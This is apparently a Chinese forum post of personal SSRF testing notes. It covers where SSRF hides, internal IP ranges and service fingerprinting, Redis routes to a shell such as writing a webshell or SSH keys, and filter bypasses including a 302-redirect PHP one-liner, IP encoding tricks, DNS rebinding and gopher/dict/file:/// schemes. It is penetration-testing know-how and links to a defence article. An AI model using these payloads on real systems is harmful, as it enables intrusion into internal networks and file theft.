SSRF个人常用的技巧

0x01 判断

使用排除法(若能输入外网网址),burp抓包+查看ip,是否是目标服务器发送

①、https://ip.cn

http://www.baidu.com/s?wd=ip

DNS log平台 --- 查看是否由目标IP发送

②、右键--新窗口打开图片

http://www.baidu.com/img/bd_logo1.png

0x02 SSRF寻找

2.1 功能点

在线识图,在线文档翻译,分享,订阅,转码等,都会发起网络请求

图片、文章收藏,

编辑器 --- 上传 远程图片

跳转、文件包含 处

转码(通过url地址把网页调成适应手机屏幕)

头像---远程头像上传 //一切输入网址的地方

离线下载 --- 链接下载

远程图片上传

http://内网ip/favicon.ico favicon.ico,若上传成功,说明存在此内网图片

SSRF也是一样,若上传成功,说明上传的是远程内网图片成功,存在SSRF,而不是都是回显

要看原来的响应做对比

2.2 source,share,link,src,imageurl,target,loginUrl,xurl,xxxurl,xxx_url,urlxxx 等

可能在POST处,如下:

【漏洞学习——SSRF】知乎主站一处SSRF漏洞可探测内网

https://blog.csdn.net/Fly_hps/article/details/84400273

2.3 未公开的API(添加ssrf参数fuzz)

2.4 文件上传

type=file改为type=url,审查元素修改

从上传文件,变为 上传url---探测是否上传成功,批量fuzz,成功上传则存在SSRF

2.5 数据库内置功能【如MongoDB未授权访问,变废为宝】

Oracle、MongoDB、MSSQL、Postgress、CouchDB
数据库的比如mongodb的copyDatabase函数

若数据库分离,除了查看数据,可以变废为宝,利用SSRF访问内网getshell
CouchDB,通过POST调用_replicate执行SSRF,即 POST http://CouchDB服务器:5984/_replicate,主体为内网ip

2.6 邮箱设置--接收邮件地址处

webmail收取其它邮箱邮件---POP3/IMAP/SMTP
邮件系统就是接收邮件服务器地址这些地方,“接收邮件服务器(POP):xxx.com”

2.7 文件处理--上传处

FFmpeg、ImageMagick,xml

concat:http://xxx.com/header.y4m|file:///

ImageMagick(探测命令执行,顺便探测SSRF)

fill 'url(http://xxx.com)' //url函数向服务器发起HTTP请求

2.8 xml、web service处

参考猪猪侠SSRF pdf。

0x03 内网ip寻找

192.168.0.0/16 => 192.168.0.0 ~ 192.168.255.255
10.0.0.0/8 => 10.0.0.0 ~ 10.255.255.255
172.16.0.0/12 => 172.16.0.0 ~ 172.31.255.255

内网ip 收集

①、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
②、通过二级域名暴力猜解工具模糊猜测内网地址
③、探测内网IP Python实现扫描局域网活动ip 脚本
④、源代码 等

0x04 SSRF利用-攻击web应用

1、weblogin配置不当,天生ssrf漏洞,对应weblogic各种回显,是否开放、是否存在指纹
2、discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞,302跳转绕过图片限制
3、CVE-2016-1897/8 - FFMpeg
4、CVE-2016-3718 - ImageMagick
5、数据库内置功能
6、jboss

只要是GET就可以攻击,但服务器若开启openssl、认证等,无法使用SSRF攻击。

一、探测端口
二、或 指纹识别 --- 访问独特的文件、目录

1、判断是否为 tamcat ---访问如下 URL

http://10.50.33.43:8080/manager/images/tomcat.gif

2、判断是否安装PhpMyadmin ---访问如下 URL

http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png

http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg

http://127.0.0.1:8082/profiles/minimal/translations/README.txt

3、是否为 Dlink 路由器

http://10.0.0.1/portName.js

redis的6种攻击方式:

①:保存到www目录,即写入webshell

②:创建ssh authotrized_keys文件

③:写计划任务

④:slave of主从模式利用

⑤:写入到/etc/profile.d用户环境变量

⑥:开启AOF持久化纯文本记录

0x05 绕过

一、IP绕过,只匹配HOST是否为内网IP

1、[::]代替127.0.0.1
http://[::]/
http://[::]:22/

2、xip.io---当对解析不过滤,过滤只判断是否为内网ip,如ip.xip.io,多了xip.io认为不是内网ip
10.0.0.1.xip.io
aa.bb.10.0.0.1.xip.io,也为 10.0.0.1

3、10进制ip --- 禁止10,172,192,127开头ip
127.0.0.1 ->整数ip->http://2130706433

4、16进制、8进制
https://www.silisoftware.com/tools/ipconverter.php?convert_from=127.0.0.1

5、IPv6地址,当后端支持IPv6,目标只针对IPv4的保护机制
[::1]

二、HOST

1、localhost
2、127.0.0.1.xip.io
3、DNS欺骗 --- 未判断解析后的IP,只检测HOST是否为内网IP,此时解析为内网ip即可绕过
www.xxx.com 解析为 127.0.0.1

三、判断HOST解析后,且跟进跳转

若上述都成功,dns log平台也收到请求,一旦用了解析为内网的ip,就失败,说明对解析后的ip判断

1、302 绕过协议、图片--- 可访问外网,当 禁止直接访问 内网IP

<?php header("location:".$_GET['u']); ?>

http://***.com/302.php?u=http://[::]/

302绕过协议,当目标只允许http、https,302跳转可使用dict

若限制后缀 .jpg,如discuz,此时自己服务器上需要配置,让jpg解析为php,即:
apache上配置/etc/apache2/sites-enabled/,新建一个apache的配置文件123.conf,内容:AddHandler application/x-httpd-php .php
x.php.jpg 就会把jpg后缀当作php解析
AddHandler application/x-httpd-php .jpg
x.jpg 就会把jpg后缀当作php解析

这里不是客户端跳转,客户端肯定无法跳转到内网ip,是服务器跳转访问内网ip,在响应给我们。

2、只允许子域名,.test.com、或 test.com.attacker.com、或 aatest.com
http://test.com/proxy?url=http://
.test.com/xxx.php?url=内网ip(url跳转) //找子域名跳转漏洞

3、@ 绕过,类似跳转到 内网ip
http://test.com/proxy?url=http://test.com@内网ip
4、#,实际上访问的是 # 前面
内网ip#baidu.com

四、DNS重定向

测试网址
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

五、协议 绕过

file:/// //造成文件读取
dict://
sftp://
ldap://
tftp://
gopher://
上述都是探测http,也许http被过滤,这些协议未被过滤,如若是访问外网可以用http,若是访问内网禁止http

六、SSRF防御

从开发的角度去修复,可以看大佬的这篇文章

谈一谈如何在Python开发中拒绝SSRF漏洞
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

3 Likes